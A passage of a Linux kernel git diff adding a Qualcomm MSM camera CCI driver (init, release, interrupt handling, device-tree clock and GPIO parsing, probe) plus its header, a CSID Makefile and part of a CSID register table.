v4l2_get_subdevdata(sd); + if (!cci_dev || !c_ctrl) { + pr_err("%s:%d failed: invalid params %p %p\n", __func__, + __LINE__, cci_dev, c_ctrl); + rc = -ENOMEM; + return rc; + } + if (cci_dev->ref_count++) { + CDBG("%s ref_count %d\n", __func__, cci_dev->ref_count); + master = c_ctrl->cci_info->cci_i2c_master; + CDBG("%s:%d master %d\n", __func__, __LINE__, master); + if (master < MASTER_MAX && master >= 0) { + mutex_lock(&cci_dev->cci_master_info[master].mutex); + /* Set reset pending flag to TRUE */ + cci_dev->cci_master_info[master].reset_pending = TRUE; + /* Set proper mask to RESET CMD address */ + if (master == MASTER_0) + msm_camera_io_w_mb(CCI_M0_RESET_RMSK, + cci_dev->base + CCI_RESET_CMD_ADDR); + else + msm_camera_io_w_mb(CCI_M1_RESET_RMSK, + cci_dev->base + CCI_RESET_CMD_ADDR); + /* wait for reset done irq */ + rc = wait_for_completion_timeout( + &cci_dev->cci_master_info[master]. + reset_complete, + CCI_TIMEOUT); + if (rc <= 0) + pr_err("%s:%d wait failed %d\n", __func__, + __LINE__, rc); + mutex_unlock(&cci_dev->cci_master_info[master].mutex); + } + return 0; + } + ret = msm_cci_pinctrl_init(cci_dev); + if (ret < 0) { + pr_err("%s:%d Initialization of pinctrl failed\n", + __func__, __LINE__); + cci_dev->cci_pinctrl_status = 0; + } else { + cci_dev->cci_pinctrl_status = 1; + } + rc = msm_camera_request_gpio_table(cci_dev->cci_gpio_tbl, + cci_dev->cci_gpio_tbl_size, 1); + if (cci_dev->cci_pinctrl_status) { + ret = pinctrl_select_state(cci_dev->cci_pinctrl.pinctrl, + cci_dev->cci_pinctrl.gpio_state_active); + if (ret) + pr_err("%s:%d cannot set pin to active state\n", + __func__, __LINE__); + } + if (rc < 0) { + cci_dev->ref_count--; + CDBG("%s: request gpio failed\n", __func__); + goto request_gpio_failed; + } + rc = msm_cam_clk_enable(&cci_dev->pdev->dev, cci_clk_info, + cci_dev->cci_clk, cci_dev->num_clk, 1); + if (rc < 0) { + cci_dev->ref_count--; + CDBG("%s: clk enable failed\n", __func__); + goto clk_enable_failed; + } + enable_irq(cci_dev->irq->start); + cci_dev->hw_version = msm_camera_io_r_mb(cci_dev->base + + CCI_HW_VERSION_ADDR); + pr_info("%s:%d: hw_version = 0x%x\n", __func__, __LINE__, + cci_dev->hw_version); + cci_dev->cci_master_info[MASTER_0].reset_pending = TRUE; + msm_camera_io_w_mb(CCI_RESET_CMD_RMSK, cci_dev->base + + CCI_RESET_CMD_ADDR); + msm_camera_io_w_mb(0x1, cci_dev->base + CCI_RESET_CMD_ADDR); + rc = wait_for_completion_timeout( + &cci_dev->cci_master_info[MASTER_0].reset_complete, + CCI_TIMEOUT); + if (rc <= 0) { + pr_err("%s: wait_for_completion_timeout %d\n", + __func__, __LINE__); + if (rc == 0) + rc = -ETIMEDOUT; + goto reset_complete_failed; + } + for (i = 0; i < MASTER_MAX; i++) + cci_dev->master_clk_init[i] = 0; + msm_cci_set_clk_param(cci_dev, c_ctrl); + msm_camera_io_w_mb(CCI_IRQ_MASK_0_RMSK, + cci_dev->base + CCI_IRQ_MASK_0_ADDR); + msm_camera_io_w_mb(CCI_IRQ_MASK_0_RMSK, + cci_dev->base + CCI_IRQ_CLEAR_0_ADDR); + msm_camera_io_w_mb(0x1, cci_dev->base + CCI_IRQ_GLOBAL_CLEAR_CMD_ADDR); + cci_dev->cci_state = CCI_STATE_ENABLED; + + return 0; + +reset_complete_failed: + disable_irq(cci_dev->irq->start); + msm_cam_clk_enable(&cci_dev->pdev->dev, cci_clk_info, + cci_dev->cci_clk, cci_dev->num_clk, 0); +clk_enable_failed: + if (cci_dev->cci_pinctrl_status) { + ret = pinctrl_select_state(cci_dev->cci_pinctrl.pinctrl, + cci_dev->cci_pinctrl.gpio_state_suspend); + if (ret) + pr_err("%s:%d cannot set pin to suspend state\n", + __func__, __LINE__); + } + msm_camera_request_gpio_table(cci_dev->cci_gpio_tbl, + cci_dev->cci_gpio_tbl_size, 0); +request_gpio_failed: + cci_dev->ref_count--; + return rc; +} + +static int32_t msm_cci_release(struct v4l2_subdev *sd) +{ + uint8_t i = 0, rc = 0; + struct cci_device *cci_dev; + + cci_dev = v4l2_get_subdevdata(sd); + if (!cci_dev->ref_count || cci_dev->cci_state != CCI_STATE_ENABLED) { + pr_err("%s invalid ref count %d / cci state %d\n", + __func__, cci_dev->ref_count, cci_dev->cci_state); + return -EINVAL; + } + if (--cci_dev->ref_count) { + CDBG("%s ref_count Exit %d\n", __func__, cci_dev->ref_count); + return 0; + } + disable_irq(cci_dev->irq->start); + msm_cam_clk_enable(&cci_dev->pdev->dev, cci_clk_info, + cci_dev->cci_clk, cci_dev->num_clk, 0); + if (cci_dev->cci_pinctrl_status) { + rc = pinctrl_select_state(cci_dev->cci_pinctrl.pinctrl, + cci_dev->cci_pinctrl.gpio_state_suspend); + if (rc) + pr_err("%s:%d cannot set pin to active state\n", + __func__, __LINE__); + } + cci_dev->cci_pinctrl_status = 0; + msm_camera_request_gpio_table(cci_dev->cci_gpio_tbl, + cci_dev->cci_gpio_tbl_size, 0); + for (i = 0; i < MASTER_MAX; i++) + cci_dev->master_clk_init[i] = 0; + cci_dev->cci_state = CCI_STATE_DISABLED; + + return 0; +} + +static int32_t msm_cci_config(struct v4l2_subdev *sd, + struct msm_camera_cci_ctrl *cci_ctrl) +{ + int32_t rc = 0; + CDBG("%s line %d cmd %d\n", __func__, __LINE__, + cci_ctrl->cmd); + switch (cci_ctrl->cmd) { + case MSM_CCI_INIT: + rc = msm_cci_init(sd, cci_ctrl); + break; + case MSM_CCI_RELEASE: + rc = msm_cci_release(sd); + break; + case MSM_CCI_I2C_READ: + rc = msm_cci_i2c_read_bytes(sd, cci_ctrl); + break; + case MSM_CCI_I2C_WRITE: + rc = msm_cci_i2c_write(sd, cci_ctrl); + break; + case MSM_CCI_GPIO_WRITE: + break; + default: + rc = -ENOIOCTLCMD; + } + CDBG("%s line %d rc %d\n", __func__, __LINE__, rc); + cci_ctrl->status = rc; + return rc; +} + +static irqreturn_t msm_cci_irq(int irq_num, void *data) +{ + uint32_t irq; + struct cci_device *cci_dev = data; + irq = msm_camera_io_r_mb(cci_dev->base + CCI_IRQ_STATUS_0_ADDR); + msm_camera_io_w_mb(irq, cci_dev->base + CCI_IRQ_CLEAR_0_ADDR); + msm_camera_io_w_mb(0x1, cci_dev->base + CCI_IRQ_GLOBAL_CLEAR_CMD_ADDR); + msm_camera_io_w_mb(0x0, cci_dev->base + CCI_IRQ_GLOBAL_CLEAR_CMD_ADDR); + CDBG("%s CCI_I2C_M0_STATUS_ADDR = 0x%x\n", __func__, irq); + if (irq & CCI_IRQ_STATUS_0_RST_DONE_ACK_BMSK) { + if (cci_dev->cci_master_info[MASTER_0].reset_pending == TRUE) { + cci_dev->cci_master_info[MASTER_0].reset_pending = + FALSE; + complete(&cci_dev->cci_master_info[MASTER_0]. + reset_complete); + } + if (cci_dev->cci_master_info[MASTER_1].reset_pending == TRUE) { + cci_dev->cci_master_info[MASTER_1].reset_pending = + FALSE; + complete(&cci_dev->cci_master_info[MASTER_1]. + reset_complete); + } + } + if ((irq & CCI_IRQ_STATUS_0_I2C_M0_RD_DONE_BMSK) || + (irq & CCI_IRQ_STATUS_0_I2C_M0_Q0_REPORT_BMSK) || + (irq & CCI_IRQ_STATUS_0_I2C_M0_Q1_REPORT_BMSK)) { + cci_dev->cci_master_info[MASTER_0].status = 0; + complete(&cci_dev->cci_master_info[MASTER_0].reset_complete); + } + if ((irq & CCI_IRQ_STATUS_0_I2C_M1_RD_DONE_BMSK) || + (irq & CCI_IRQ_STATUS_0_I2C_M1_Q0_REPORT_BMSK) || + (irq & CCI_IRQ_STATUS_0_I2C_M1_Q1_REPORT_BMSK)) { + cci_dev->cci_master_info[MASTER_1].status = 0; + complete(&cci_dev->cci_master_info[MASTER_1].reset_complete); + } + if (irq & CCI_IRQ_STATUS_0_I2C_M0_Q0Q1_HALT_ACK_BMSK) { + cci_dev->cci_master_info[MASTER_0].reset_pending = TRUE; + msm_camera_io_w_mb(CCI_M0_RESET_RMSK, + cci_dev->base + CCI_RESET_CMD_ADDR); + } + if (irq & CCI_IRQ_STATUS_0_I2C_M1_Q0Q1_HALT_ACK_BMSK) { + cci_dev->cci_master_info[MASTER_1].reset_pending = TRUE; + msm_camera_io_w_mb(CCI_M1_RESET_RMSK, + cci_dev->base + CCI_RESET_CMD_ADDR); + } + if (irq & CCI_IRQ_STATUS_0_I2C_M0_ERROR_BMSK) { + pr_err("%s:%d MASTER_0 error 0x%x\n", __func__, __LINE__, irq); + cci_dev->cci_master_info[MASTER_0].status = -EINVAL; + msm_camera_io_w_mb(CCI_M0_HALT_REQ_RMSK, + cci_dev->base + CCI_HALT_REQ_ADDR); + } + if (irq & CCI_IRQ_STATUS_0_I2C_M1_ERROR_BMSK) { + pr_err("%s:%d MASTER_1 error 0x%x\n", __func__, __LINE__, irq); + cci_dev->cci_master_info[MASTER_1].status = -EINVAL; + msm_camera_io_w_mb(CCI_M1_HALT_REQ_RMSK, + cci_dev->base + CCI_HALT_REQ_ADDR); + } + return IRQ_HANDLED; +} + +static int msm_cci_irq_routine(struct v4l2_subdev *sd, u32 status, + bool *handled) +{ + struct cci_device *cci_dev = v4l2_get_subdevdata(sd); + irqreturn_t ret; + CDBG("%s line %d\n", __func__, __LINE__); + ret = msm_cci_irq(cci_dev->irq->start, cci_dev); + CDBG("%s: msm_cci_irq return %d\n", __func__, ret); + *handled = TRUE; + return 0; +} + +static long msm_cci_subdev_ioctl(struct v4l2_subdev *sd, + unsigned int cmd, void *arg) +{ + int32_t rc = 0; + CDBG("%s line %d\n", __func__, __LINE__); + switch (cmd) { + case VIDIOC_MSM_CCI_CFG: + rc = msm_cci_config(sd, arg); + break; + case MSM_SD_SHUTDOWN: { + return rc; + } + default: + rc = -ENOIOCTLCMD; + } + CDBG("%s line %d rc %d\n", __func__, __LINE__, rc); + return rc; +} + +static struct v4l2_subdev_core_ops msm_cci_subdev_core_ops = { + .g_chip_ident = &msm_cci_subdev_g_chip_ident, + .ioctl = &msm_cci_subdev_ioctl, + .interrupt_service_routine = msm_cci_irq_routine, +}; + +static const struct v4l2_subdev_ops msm_cci_subdev_ops = { + .core = &msm_cci_subdev_core_ops, +}; + +static const struct v4l2_subdev_internal_ops msm_cci_internal_ops; + +static void msm_cci_init_cci_params(struct cci_device *new_cci_dev) +{ + uint8_t i = 0, j = 0; + for (i = 0; i < NUM_MASTERS; i++) { + new_cci_dev->cci_master_info[i].status = 0; + mutex_init(&new_cci_dev->cci_master_info[i].mutex); + init_completion(&new_cci_dev-> + cci_master_info[i].reset_complete); + for (j = 0; j < NUM_QUEUES; j++) { + if (j == QUEUE_0) + new_cci_dev->cci_i2c_queue_info[i][j]. + max_queue_size = CCI_I2C_QUEUE_0_SIZE; + else + new_cci_dev->cci_i2c_queue_info[i][j]. + max_queue_size = CCI_I2C_QUEUE_1_SIZE; + } + } + return; +} + +static int32_t msm_cci_init_gpio_params(struct cci_device *cci_dev) +{ + int32_t rc = 0, i = 0; + uint32_t *val_array = NULL; + uint8_t tbl_size = 0; + struct device_node *of_node = cci_dev->pdev->dev.of_node; + struct gpio *gpio_tbl = NULL; + + cci_dev->cci_gpio_tbl_size = tbl_size = of_gpio_count(of_node); + CDBG("%s gpio count %d\n", __func__, tbl_size); + if (!tbl_size) { + pr_err("%s:%d gpio count 0\n", __func__, __LINE__); + return 0; + } + + gpio_tbl = cci_dev->cci_gpio_tbl = + kzalloc(sizeof(struct gpio) * tbl_size, GFP_KERNEL); + if (!gpio_tbl) { + pr_err("%s failed %d\n", __func__, __LINE__); + return 0; + } + + for (i = 0; i < tbl_size; i++) { + gpio_tbl[i].gpio = of_get_gpio(of_node, i); + CDBG("%s gpio_tbl[%d].gpio = %d\n", __func__, i, + gpio_tbl[i].gpio); + } + + val_array = kzalloc(sizeof(uint32_t) * tbl_size, GFP_KERNEL); + if (!val_array) { + pr_err("%s failed %d\n", __func__, __LINE__); + rc = -ENOMEM; + goto ERROR1; + } + + rc = of_property_read_u32_array(of_node, "qcom,gpio-tbl-flags", + val_array, tbl_size); + if (rc < 0) { + pr_err("%s failed %d\n", __func__, __LINE__); + goto ERROR2; + } + for (i = 0; i < tbl_size; i++) { + gpio_tbl[i].flags = val_array[i]; + CDBG("%s gpio_tbl[%d].flags = %ld\n", __func__, i, + gpio_tbl[i].flags); + } + + for (i = 0; i < tbl_size; i++) { + rc = of_property_read_string_index(of_node, + "qcom,gpio-tbl-label", i, &gpio_tbl[i].label); + CDBG("%s gpio_tbl[%d].label = %s\n", __func__, i, + gpio_tbl[i].label); + if (rc < 0) { + pr_err("%s failed %d\n", __func__, __LINE__); + goto ERROR2; + } + } + + kfree(val_array); + return rc; + +ERROR2: + kfree(val_array); +ERROR1: + kfree(cci_dev->cci_gpio_tbl); + cci_dev->cci_gpio_tbl = NULL; + cci_dev->cci_gpio_tbl_size = 0; + return rc; +} + +static void msm_cci_init_default_clk_params(struct cci_device *cci_dev, + uint8_t index) +{ + /* default clock params are for 100Khz */ + cci_dev->cci_clk_params[index].hw_thigh = 78; + cci_dev->cci_clk_params[index].hw_tlow = 114; + cci_dev->cci_clk_params[index].hw_tsu_sto = 28; + cci_dev->cci_clk_params[index].hw_tsu_sta = 28; + cci_dev->cci_clk_params[index].hw_thd_dat = 10; + cci_dev->cci_clk_params[index].hw_thd_sta = 77; + cci_dev->cci_clk_params[index].hw_tbuf = 118; + cci_dev->cci_clk_params[index].hw_scl_stretch_en = 0; + cci_dev->cci_clk_params[index].hw_trdhld = 6; + cci_dev->cci_clk_params[index].hw_tsp = 1; +} + +static void msm_cci_init_clk_params(struct cci_device *cci_dev) +{ + int32_t rc = 0; + uint32_t val = 0; + uint8_t count = 0; + struct device_node *of_node = cci_dev->pdev->dev.of_node; + struct device_node *src_node = NULL; + + for (count = 0; count < I2C_MAX_MODES; count++) { + + if (I2C_STANDARD_MODE == count) + src_node = of_find_node_by_name(of_node, + "qcom,i2c_standard_mode"); + else if (I2C_FAST_MODE == count) + src_node = of_find_node_by_name(of_node, + "qcom,i2c_fast_mode"); + else + src_node = of_find_node_by_name(of_node, + "qcom,i2c_custom_mode"); + + rc = of_property_read_u32(src_node, "qcom,hw-thigh", &val); + CDBG("%s qcom,hw-thigh %d, rc %d\n", __func__, val, rc); + if (!rc) { + cci_dev->cci_clk_params[count].hw_thigh = val; + rc = of_property_read_u32(src_node, "qcom,hw-tlow", + &val); + CDBG("%s qcom,hw-tlow %d, rc %d\n", __func__, val, rc); + } + if (!rc) { + cci_dev->cci_clk_params[count].hw_tlow = val; + rc = of_property_read_u32(src_node, "qcom,hw-tsu-sto", + &val); + CDBG("%s qcom,hw-tsu-sto %d, rc %d\n", + __func__, val, rc); + } + if (!rc) { + cci_dev->cci_clk_params[count].hw_tsu_sto = val; + rc = of_property_read_u32(src_node, "qcom,hw-tsu-sta", + &val); + CDBG("%s qcom,hw-tsu-sta %d, rc %d\n", + __func__, val, rc); + } + if (!rc) { + cci_dev->cci_clk_params[count].hw_tsu_sta = val; + rc = of_property_read_u32(src_node, "qcom,hw-thd-dat", + &val); + CDBG("%s qcom,hw-thd-dat %d, rc %d\n", + __func__, val, rc); + } + if (!rc) { + cci_dev->cci_clk_params[count].hw_thd_dat = val; + rc = of_property_read_u32(src_node, "qcom,hw-thd-sta", + &val); + CDBG("%s qcom,hw-thd-sta %d, rc %d\n", __func__, + val, rc); + } + if (!rc) { + cci_dev->cci_clk_params[count].hw_thd_sta = val; + rc = of_property_read_u32(src_node, "qcom,hw-tbuf", + &val); + CDBG("%s qcom,hw-tbuf %d, rc %d\n", __func__, val, rc); + } + if (!rc) { + cci_dev->cci_clk_params[count].hw_tbuf = val; + rc = of_property_read_u32(src_node, + "qcom,hw-scl-stretch-en", &val); + CDBG("%s qcom,hw-scl-stretch-en %d, rc %d\n", + __func__, val, rc); + } + if (!rc) { + cci_dev->cci_clk_params[count].hw_scl_stretch_en = val; + rc = of_property_read_u32(src_node, "qcom,hw-trdhld", + &val); + CDBG("%s qcom,hw-trdhld %d, rc %d\n", + __func__, val, rc); + } + if (!rc) { + cci_dev->cci_clk_params[count].hw_trdhld = val; + rc = of_property_read_u32(src_node, "qcom,hw-tsp", + &val); + CDBG("%s qcom,hw-tsp %d, rc %d\n", __func__, val, rc); + } + if (!rc) + cci_dev->cci_clk_params[count].hw_tsp = val; + else + msm_cci_init_default_clk_params(cci_dev, count); + of_node_put(src_node); + src_node = NULL; + } + return; +} + +struct v4l2_subdev *msm_cci_get_subdev(void) +{ + return g_cci_subdev; +} + +static int msm_cci_get_clk_info(struct cci_device *cci_dev, + struct platform_device *pdev) +{ + uint32_t count; + int i, rc; + uint32_t rates[CCI_NUM_CLK_MAX]; + + struct device_node *of_node; + of_node = pdev->dev.of_node; + + count = of_property_count_strings(of_node, "clock-names"); + cci_dev->num_clk = count; + + CDBG("%s: count = %d\n", __func__, count); + if (count == 0) { + pr_err("%s: no clocks found in device tree, count=%d", + __func__, count); + return 0; + } + + if (count > CCI_NUM_CLK_MAX) { + pr_err("%s: invalid count=%d, max is %d\n", __func__, + count, CCI_NUM_CLK_MAX); + return -EINVAL; + } + + for (i = 0; i < count; i++) { + rc = of_property_read_string_index(of_node, "clock-names", + i, &(cci_clk_info[i].clk_name)); + CDBG("%s: clock-names[%d] = %s\n", __func__, + i, cci_clk_info[i].clk_name); + if (rc < 0) { + pr_err("%s:%d, failed\n", __func__, __LINE__); + return rc; + } + } + rc = of_property_read_u32_array(of_node, "qcom,clock-rates", + rates, count); + if (rc < 0) { + pr_err("%s:%d, failed", __func__, __LINE__); + return rc; + } + for (i = 0; i < count; i++) { + cci_clk_info[i].clk_rate = (rates[i] == 0) ? -1 : rates[i]; + CDBG("%s: clk_rate[%d] = %ld\n", __func__, i, + cci_clk_info[i].clk_rate); + } + return 0; +} + +static int msm_cci_probe(struct platform_device *pdev) +{ + struct cci_device *new_cci_dev; + int rc = 0; + pr_err("%s: pdev %p device id = %d\n", __func__, pdev, pdev->id); + new_cci_dev = kzalloc(sizeof(struct cci_device), GFP_KERNEL); + if (!new_cci_dev) { + CDBG("%s: no enough memory\n", __func__); + return -ENOMEM; + } + v4l2_subdev_init(&new_cci_dev->msm_sd.sd, &msm_cci_subdev_ops); + new_cci_dev->msm_sd.sd.internal_ops = &msm_cci_internal_ops; + snprintf(new_cci_dev->msm_sd.sd.name, + ARRAY_SIZE(new_cci_dev->msm_sd.sd.name), "msm_cci"); + v4l2_set_subdevdata(&new_cci_dev->msm_sd.sd, new_cci_dev); + platform_set_drvdata(pdev, &new_cci_dev->msm_sd.sd); + CDBG("%s sd %p\n", __func__, &new_cci_dev->msm_sd.sd); + if (pdev->dev.of_node) + of_property_read_u32((&pdev->dev)->of_node, + "cell-index", &pdev->id); + + rc = msm_cci_get_clk_info(new_cci_dev, pdev); + if (rc < 0) { + pr_err("%s: msm_cci_get_clk_info() failed", __func__); + return -EFAULT; + } + + new_cci_dev->ref_count = 0; + new_cci_dev->mem = platform_get_resource_byname(pdev, + IORESOURCE_MEM, "cci"); + if (!new_cci_dev->mem) { + CDBG("%s: no mem resource?\n", __func__); + rc = -ENODEV; + goto cci_no_resource; + } + new_cci_dev->irq = platform_get_resource_byname(pdev, + IORESOURCE_IRQ, "cci"); + CDBG("%s line %d cci irq start %d end %d\n", __func__, + __LINE__, + (int) new_cci_dev->irq->start, + (int) new_cci_dev->irq->end); + if (!new_cci_dev->irq) { + CDBG("%s: no irq resource?\n", __func__); + rc = -ENODEV; + goto cci_no_resource; + } + new_cci_dev->io = request_mem_region(new_cci_dev->mem->start, + resource_size(new_cci_dev->mem), pdev->name); + if (!new_cci_dev->io) { + CDBG("%s: no valid mem region\n", __func__); + rc = -EBUSY; + goto cci_no_resource; + } + + new_cci_dev->base = ioremap(new_cci_dev->mem->start, + resource_size(new_cci_dev->mem)); + if (!new_cci_dev->base) { + rc = -ENOMEM; + goto cci_release_mem; + } + rc = request_irq(new_cci_dev->irq->start, msm_cci_irq, + IRQF_TRIGGER_RISING, "cci", new_cci_dev); + if (rc < 0) { + CDBG("%s: irq request fail\n", __func__); + rc = -EBUSY; + goto cci_release_mem; + } + disable_irq(new_cci_dev->irq->start); + new_cci_dev->msm_sd.close_seq = MSM_SD_CLOSE_2ND_CATEGORY | 0x6; + msm_sd_register(&new_cci_dev->msm_sd); + new_cci_dev->pdev = pdev; + msm_cci_init_cci_params(new_cci_dev); + msm_cci_init_clk_params(new_cci_dev); + msm_cci_init_gpio_params(new_cci_dev); + rc = of_platform_populate(pdev->dev.of_node, NULL, NULL, &pdev->dev); + if (rc) + pr_err("%s: failed to add child nodes, rc=%d\n", __func__, rc); + new_cci_dev->cci_state = CCI_STATE_DISABLED; + g_cci_subdev = &new_cci_dev->msm_sd.sd; + CDBG("%s cci subdev %p\n", __func__, &new_cci_dev->msm_sd.sd); + CDBG("%s line %d\n", __func__, __LINE__); + return 0; + +cci_release_mem: + release_mem_region(new_cci_dev->mem->start, + resource_size(new_cci_dev->mem)); +cci_no_resource: + kfree(new_cci_dev); + return 0; +} + +static int __exit msm_cci_exit(struct platform_device *pdev) +{ + struct v4l2_subdev *subdev = platform_get_drvdata(pdev); + struct cci_device *cci_dev = + v4l2_get_subdevdata(subdev); + release_mem_region(cci_dev->mem->start, resource_size(cci_dev->mem)); + kfree(cci_dev); + return 0; +} + +static const struct of_device_id msm_cci_dt_match[] = { + {.compatible = "qcom,cci"}, + {} +}; + +MODULE_DEVICE_TABLE(of, msm_cci_dt_match); + +static struct platform_driver cci_driver = { + .probe = msm_cci_probe, + .remove = msm_cci_exit, + .driver = { + .name = MSM_CCI_DRV_NAME, + .owner = THIS_MODULE, + .of_match_table = msm_cci_dt_match, + }, +}; + +static int __init msm_cci_init_module(void) +{ + return platform_driver_register(&cci_driver); +} + +static void __exit msm_cci_exit_module(void) +{ + platform_driver_unregister(&cci_driver); +} + +module_init(msm_cci_init_module); +module_exit(msm_cci_exit_module); +MODULE_DESCRIPTION("MSM CCI driver"); +MODULE_LICENSE("GPL v2"); diff --git a/drivers/media/platform/msm/camera_wt88047_v2/sensor/cci/msm_cci.h b/drivers/media/platform/msm/camera_wt88047_v2/sensor/cci/msm_cci.h new file mode 100644 index 0000000000000..c1fb0560ebf95 --- /dev/null +++ b/drivers/media/platform/msm/camera_wt88047_v2/sensor/cci/msm_cci.h @@ -0,0 +1,186 @@ +/* Copyright (c) 2012-2014, The Linux Foundation. All rights reserved. + * + * This program is free software; you can redistribute it and/or modify + * it under the terms of the GNU General Public License version 2 and + * only version 2 as published by the Free Software Foundation. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + */ + +#ifndef MSM_CCI_H +#define MSM_CCI_H + +#include +#include +#include +#include +#include +#include +#include "msm_sd.h" + +#define NUM_MASTERS 2 +#define NUM_QUEUES 2 + +#define TRUE 1 +#define FALSE 0 + +#define CCI_PINCTRL_STATE_DEFAULT "cci_default" +#define CCI_PINCTRL_STATE_SLEEP "cci_suspend" + +enum cci_i2c_queue_t { + QUEUE_0, + QUEUE_1, +}; + +struct msm_camera_cci_client { + struct v4l2_subdev *cci_subdev; + uint32_t freq; + enum i2c_freq_mode_t i2c_freq_mode; + enum cci_i2c_master_t cci_i2c_master; + uint16_t sid; + uint16_t cid; + uint32_t timeout; + uint16_t retries; + uint16_t id_map; +}; + +enum msm_cci_cmd_type { + MSM_CCI_INIT, + MSM_CCI_RELEASE, + MSM_CCI_SET_SID, + MSM_CCI_SET_FREQ, + MSM_CCI_SET_SYNC_CID, + MSM_CCI_I2C_READ, + MSM_CCI_I2C_WRITE, + MSM_CCI_GPIO_WRITE, +}; + +struct msm_camera_cci_wait_sync_cfg { + uint16_t line; + uint16_t delay; +}; + +struct msm_camera_cci_gpio_cfg { + uint16_t gpio_queue; + uint16_t i2c_queue; +}; + +struct msm_camera_cci_i2c_read_cfg { + uint16_t addr; + enum msm_camera_i2c_reg_addr_type addr_type; + uint8_t *data; + uint16_t num_byte; +}; + +struct msm_camera_cci_i2c_queue_info { + uint32_t max_queue_size; + uint32_t report_id; + uint32_t irq_en; + uint32_t capture_rep_data; +}; + +struct msm_camera_cci_ctrl { + int32_t status; + struct msm_camera_cci_client *cci_info; + enum msm_cci_cmd_type cmd; + union { + struct msm_camera_i2c_reg_setting cci_i2c_write_cfg; + struct msm_camera_cci_i2c_read_cfg cci_i2c_read_cfg; + struct msm_camera_cci_wait_sync_cfg cci_wait_sync_cfg; + struct msm_camera_cci_gpio_cfg gpio_cfg; + } cfg; +}; + +struct msm_camera_cci_master_info { + uint32_t status; + uint8_t reset_pending; + struct mutex mutex; + struct completion reset_complete; +}; + +struct msm_cci_clk_params_t { + uint16_t hw_thigh; + uint16_t hw_tlow; + uint16_t hw_tsu_sto; + uint16_t hw_tsu_sta; + uint16_t hw_thd_dat; + uint16_t hw_thd_sta; + uint16_t hw_tbuf; + uint8_t hw_scl_stretch_en; + uint8_t hw_trdhld; + uint8_t hw_tsp; +}; + +enum msm_cci_state_t { + CCI_STATE_ENABLED, + CCI_STATE_DISABLED, +}; + +struct cci_device { + struct platform_device *pdev; + struct msm_sd_subdev msm_sd; + struct v4l2_subdev subdev; + struct resource *mem; + struct resource *irq; + struct resource *io; + void __iomem *base; + + uint32_t hw_version; + uint8_t ref_count; + enum msm_cci_state_t cci_state; + uint32_t num_clk; + + struct clk *cci_clk[5]; + struct msm_camera_cci_i2c_queue_info + cci_i2c_queue_info[NUM_MASTERS][NUM_QUEUES]; + struct msm_camera_cci_master_info cci_master_info[NUM_MASTERS]; + struct msm_cci_clk_params_t cci_clk_params[I2C_MAX_MODES]; + struct gpio *cci_gpio_tbl; + uint8_t cci_gpio_tbl_size; + uint8_t master_clk_init[MASTER_MAX]; + struct msm_pinctrl_info cci_pinctrl; + uint8_t cci_pinctrl_status; +}; + +enum msm_cci_i2c_cmd_type { + CCI_I2C_SET_PARAM_CMD = 1, + CCI_I2C_WAIT_CMD, + CCI_I2C_WAIT_SYNC_CMD, + CCI_I2C_WAIT_GPIO_EVENT_CMD, + CCI_I2C_TRIG_I2C_EVENT_CMD, + CCI_I2C_LOCK_CMD, + CCI_I2C_UNLOCK_CMD, + CCI_I2C_REPORT_CMD, + CCI_I2C_WRITE_CMD, + CCI_I2C_READ_CMD, + CCI_I2C_WRITE_DISABLE_P_CMD, + CCI_I2C_READ_DISABLE_P_CMD, + CCI_I2C_WRITE_CMD2, + CCI_I2C_WRITE_CMD3, + CCI_I2C_REPEAT_CMD, + CCI_I2C_INVALID_CMD, +}; + +enum msm_cci_gpio_cmd_type { + CCI_GPIO_SET_PARAM_CMD = 1, + CCI_GPIO_WAIT_CMD, + CCI_GPIO_WAIT_SYNC_CMD, + CCI_GPIO_WAIT_GPIO_IN_EVENT_CMD, + CCI_GPIO_WAIT_I2C_Q_TRIG_EVENT_CMD, + CCI_GPIO_OUT_CMD, + CCI_GPIO_TRIG_EVENT_CMD, + CCI_GPIO_REPORT_CMD, + CCI_GPIO_REPEAT_CMD, + CCI_GPIO_CONTINUE_CMD, + CCI_GPIO_INVALID_CMD, +}; + +struct v4l2_subdev *msm_cci_get_subdev(void); + +#define VIDIOC_MSM_CCI_CFG \ + _IOWR('V', BASE_VIDIOC_PRIVATE + 23, struct msm_camera_cci_ctrl *) + +#endif diff --git a/drivers/media/platform/msm/camera_wt88047_v2/sensor/csid/Makefile b/drivers/media/platform/msm/camera_wt88047_v2/sensor/csid/Makefile new file mode 100644 index 0000000000000..1bf984718ad08 --- /dev/null +++ b/drivers/media/platform/msm/camera_wt88047_v2/sensor/csid/Makefile @@ -0,0 +1,3 @@ +ccflags-y += -Idrivers/media/platform/msm/camera_v2 +ccflags-y += -Idrivers/media/platform/msm/camera_v2/sensor/io +obj-$(CONFIG_MSM_CSID) += msm_csid.o diff --git a/drivers/media/platform/msm/camera_wt88047_v2/sensor/csid/include/msm_csid_2_0_hwreg.h b/drivers/media/platform/msm/camera_wt88047_v2/sensor/csid/include/msm_csid_2_0_hwreg.h new file mode 100644 index 0000000000000..7bfeb200c80ae --- /dev/null +++ b/drivers/media/platform/msm/camera_wt88047_v2/sensor/csid/include/msm_csid_2_0_hwreg.h @@ -0,0 +1,56 @@ +/* Copyright (c) 2014, The Linux Foundation. All rights reserved. + * + * This program is free software; you can redistribute it and/or modify + * it under the terms of the GNU General Public License version 2 and + * only version 2 as published by the Free Software Foundation. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + */ + +#ifndef MSM_CSID_2_0_HWREG_H +#define MSM_CSID_2_0_HWREG_H + +#include "msm_csid.h" + +struct csid_reg_parms_t csid_v2_0 = { + + /* MIPI CSID registers */ + 0x0, + 0x4, + 0x4, + 0x8, + 0xc, + 0x10, + 0x14, + 0x18, + 0x1C, + 0x5c, + 0x60, + 0x64, + 0x68, + 0x6c, + 0x70, + 0x74, + 0x78, + 0x7C, + 0x80, + 0x84, + 0x88, + 0x8C, + 0x90, + 0x94, + 0x9C, + 0xA0, + 0xA8, + 0xAC, + 0xB0, + 11, + 0x7FFF, + 0x2, + 17, + 0x02000011, +}; +#endif diff --git a/drivers/media/platform/msm/camera_wt88047_v2/sensor/csid/include/msm_csid_2_2_hwreg.h b/drivers/media/platform/msm/camera_wt88047_v2/sensor/csid/include/msm_csid_2_2_hwreg.h new file mode 100644 index 